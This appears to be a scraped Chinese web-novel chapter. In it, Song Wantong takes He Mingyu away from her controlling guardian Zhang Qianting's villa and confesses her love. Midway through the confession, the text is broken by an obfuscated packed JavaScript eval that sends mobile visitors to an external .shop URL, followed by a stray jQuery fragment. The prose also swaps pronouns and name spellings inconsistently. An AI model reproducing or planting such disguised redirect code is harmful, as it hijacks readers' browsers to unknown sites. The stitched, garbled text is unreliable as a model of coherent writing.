文趣网 > 都市小说 > 晚风与黄昏 > 25. 相信既告白
    夜晚的月亮总是那么明亮,漂亮,那也注定了这一晚是一个不平的夜晚。

    “与我无关?”张倩婷往前踏出两步,高跟鞋过厚实地毯,发出闷闷的声响。他瞥了眼紧闭的房门,刻意抬高音量,故意让门内的贺鸣玉听得一清二楚:“这座别墅里的事,没有一件能瞒得住我,贺鸣玉是什么处境,我比你看得通透。她从小被圈养在这里,骨子里早就被磨没了出逃的勇气,你再怎么费尽心思替他筹谋,到头来不过是白费功夫,反倒把自己搭进去。”

    宋晚桐站在走廊另一端,后背抵着冰冷的墙面,指尖死死攥紧自己的手心,指尖崩的发白,她喉间发紧半晌,才挤出一句低沉的反驳。

    “阿姨,你根本不懂她,凭什么判定她的心意。”

    张倩婷听到这话,瞬间恼羞成怒:“你给我闭嘴,我的话还说的不够明白吗,你怎么这么厚脸皮,你怎么有脸继续缠着我们家鸣玉。”

    张倩婷作为她名义上的监护人,自然是有发言权的,这么多年,她一直伪装用无微不至的照顾编制密不透风的网,管控他的社交、出行、喜好甚至是喜怒哀乐。

    “比起物质的富足,她更想要随心所欲的人生。”宋晚桐不再害怕,声音稳而坚定,“她想要的从来不是锦衣玉食,是不用事事看人脸色,不用时时刻刻压抑自己的情绪。”

    “说的倒是动听,你也不想想,她敢吗,她能吗?”张倩婷的语气充满恐吓。

    宋晚桐不再理会她,因为她知道有这样的父亲母亲已是贺鸣玉的不幸,她就算说再多,也是徒劳,她把视线转向贺鸣玉房间的方向。

    宋晚桐将一只手轻轻放在门前,轻轻开口:“鸣玉你相信我吗,”

    门内的贺鸣玉此时已经麻木了,好似发不出任何声音。

    “鸣玉,你若信我,我带你离开这里,好吗?”

    这句话犹如救赎一般,迅速传进贺鸣玉的耳旁。

    贺鸣玉:“晚桐,谢谢你,不过你做不到的。”

    “不,我做的到,相信我。”

    说罢,他的视线重新回到一楼客厅张倩婷那里。

    “阿姨,这个家已经困了他十几年了,鸣玉她一直不喜欢呆在这个家里,我现在要带鸣玉离开这里,你说条件吧,你怎么样才允许我把鸣玉带走。”

    “想带走人,你问问她的意见了吗。”张倩婷居高临下地望着楼上这人

    “阿姨,此时此刻,我就代表她,她想离开这里,她想过属于自己的生活。”

    “好啊,那你让她过来,签了这份文件,你们立马就可以滚了。”

    “阿姨,我可以吗,我替她签。”

    “不可以哦。”张倩婷带点玩味的笑容说着“只能由她亲自过来签。”

    宋晚桐重新回到二楼,站在门前,小声对着屋内说道:“鸣玉,你听到了吗,我做到了,但是我觉得阿姨没有那么好心,那份合同肯定有问题,你一定不能签。”

    宋晚桐话还没有说完,门好像开了,不知道是幻想还是真实的,直到看到眼前之人,宋晚桐才确定不是幻想。

    “晚桐,我想和你一起。”说话之人嗓音有些许沙哑,脸色也看起来很憔悴。

    宋晚桐还没有回过神,贺鸣玉轻轻抬手碰了一下脸颊,宋晚桐这才回过神。

    “鸣玉,你听我说,那份文件,一定有猫腻,你决定不可以……”

    “只要和你在一起,我不怕。”

    这短短一句话,宋晚桐在脑海中想了无数种可能

    最后只吐出一个字:“好。”

    两人相视一下,这一刻的时间仿佛禁止了。

    宋晚桐扶着贺鸣玉一步一步的走着,每一步都走的那么的沉稳。

    “鸣玉签好了,我可以带她离开这里了吧?”

    “滚吧,贺鸣玉,从此以后你再和贺家没有任何关系,你也不是贺家的千金大小姐了,这是一个普普通通的普通人,真是可怜啊。”

    “待在这个生不如死的家里和死了有什么区别。”

    “我们走吧,鸣玉。”贺鸣玉小心翼翼的牵起宋晚桐的手,宋晚桐没有想到贺鸣玉会有这样主动的一面,但话说起来,鸣玉这样,宋晚桐是喜欢的。

    出了别墅门,闻着属于大自然的新鲜空气,贺鸣玉久久不能忘怀。

    宋晚桐突然停下脚步,对着贺鸣玉,牵起她的双手,一本正经地说道:“鸣玉,虽然我们家有点穷,但是我保证,我绝对不会让你受苦和受半点委屈的。”

    “我妈妈特别喜欢你,你住在我们家她会很开心的。”宋晚桐又轻声补充,语气带着一点藏不住的期待,“我妈性子温和,待人特别软,早就盼着能和你好好相处。以后我们挤在小小的屋子里,三餐四季都在一起,不会有人管束我们的。”

    提到宋晚桐的母亲,贺鸣玉眼底荡开温柔的笑意,轻轻点头,轻声回应“我也特别喜欢阿姨,晚桐。”

    贺鸣玉主动往宋晚桐身边靠了靠,肩膀轻轻贴着他的肩膀,两人牵着手,在人烟稀少的街道旁显得格外显眼。

    她抬手揉了揉贺鸣玉柔软的头发眼底满是包容:“在我这里,你不用逼自己变成无所不能的大人,不用强迫自己适应一切,累了可以依靠我,迷茫了,我们就慢慢商量日子,苦一点也没关系,只要我们是自由的不用活在别人的管控之下就什么都值得。”

    还有一件事鸣玉,我不知道可不可以说出口,我怕说出来你会嫌弃我,厌恶我。

    “晚桐,你说吧,无论是什么事,我都和你一起扛,一起分担。”

    “鸣玉。”

    他第一次这样认真缓慢,一字一顿地叫他的名字,声音低哑温柔,带着藏了太久忍了太久的深情。

    “我今天不只是想带你走。”

    “我想告诉你,我为什么一定要带你走。”

    宋晚桐的声音很轻,却字字落在心底最软的地方。

    “我见过你规矩到不敢大声说话的样子,见过你被人安排好所有人生,连喜欢什么都不敢直说的样子,见过你明明委屈却习惯性低头习惯性顺从的样子。”

    “别人看见的是贺家千金,锦衣玉食,无忧无虑。”

    “我看见的是被困住,被磨平,被一点点偷走自我的贺鸣玉。”

    晚风轻轻吹动,吹动两人的发丝。

    宋婉彤微微俯身,视线和他平齐,眼底是藏不住的偏爱与心疼,还有积压了许久的喜欢。

    “从你第一天转学,我见到你的那一刻开始,我就知道你是我余生要照顾的人。”

    “我一次次靠近你,陪着你,鼓励你勇敢一点,从来都不是随便善意。”

    “是我私心太重。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17973824|214703||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她微微垂眸,再抬眼时,眼底温柔滚烫,坦荡又真诚。

    “我想让你离开那个困住你的地方,不单纯想救你。”

    “是我想拥有你。”

    “我想拥有一个真正自由,真正开心,真正属于我一个人的贺鸣玉。”

    贺鸣玉鼻尖发酸,眼泪毫无征兆地滚落了下来,却不再是委屈和无助,是被人完完整整看懂、珍惜、偏爱的滚烫动容。

    宋晚桐抬手轻轻擦去她的眼泪,指尖温柔得不像话。

    “张倩婷说我给不了你未来,说你离开这里一定会后悔。”

    “可她从来不知道,我想要给你的从来不是物质。”

    “我想给你底气。”

    “给你被人偏爱,被人坚定选择的底气。”

    “给你不用顺从,不用伪装,不用小心翼翼看人脸色的一生。”

    “他握住贺鸣玉微凉的手,十指相扣,握得很紧,郑重又虔诚。”

    “鸣玉,你舍弃所有跟我走的这一刻,你就一无所有。”

    “没关系。”

    ”

    “以后我守着你。”

    她轻轻吸了一口气,最后缓缓落下最郑重的告白。

    “贺鸣玉。”

    “我喜欢你。”

    “不是一时兴起。”

    “是我蓄谋已久,想和你共度余生的喜欢。”

    “你愿意给我这个机会吗?”

    贺鸣玉站在原地,眼泪不停落,却笑得眉眼柔软心底那片荒芜十几年的地方,此刻被宋晚桐的温柔完完整整的填满。

    她终于明白

    她逃出来的不是一座别墅

    她奔赴而来的,是独属于她的一辈子的温柔与偏爱。

    “我愿意。”

    话音落下的瞬间,贺鸣玉几乎是毫无迟疑地扑进宋晚桐怀里,双臂紧紧箍住他的腰,滚烫的眼泪浸透了宋晚桐肩头的布料。

    “慢点哭,我在呢。”她低头,温热的气息拂过贺鸣玉的耳畔,声音轻得像晚风,以后再也不用一个人硬扛所有委屈了。

    贺鸣玉抬眼望着他澄澈认真的眼眸,鼻尖酸涩,主动微微踮起脚尖,小心翼翼凑近宋晚桐。

    宋晚桐心尖一颤,缓缓低头,轻柔地覆上她的唇。

    唇瓣相贴的瞬间,过往十几年所有压抑、孤单、自我怀疑尽数烟消云散了。

    良久,两人才缓缓分开,鼻尖依旧轻轻相抵,彼此的呼吸交缠在一起。贺鸣玉脸颊泛着淡淡的绯红,眼底水光未散,却弯起柔软的笑意。

    宋晚桐指尖摩挲着他泛红的唇角低声轻笑,“这下你彻底属于我了。”

    “你也是。”贺鸣玉攥紧他胸前的衣料,轻声回应,“从今往后,我所有的日子,都只分给你一个人。”

    “晚桐,”贺鸣玉轻轻晃了晃两人交握的手,轻声开口,“以后我们每天都可以一起散步吗?想吃街边小吃也不用顾虑任何人。”

    “当然可以。”宋晚桐转头看向她,眼底笑意温柔,“所有小事全都由我们两个人说了算。我妈妈早就盼着见你,今晚回去,我们说不定就能喝上她炖好的甜汤。”

    贺鸣玉低头看着紧紧相扣的双手,嘴角的笑意怎么都压不住。前路或许没有从前那般奢华无忧,可只要身边是宋晚桐,再平淡琐碎的日常都满是让人安心的温柔。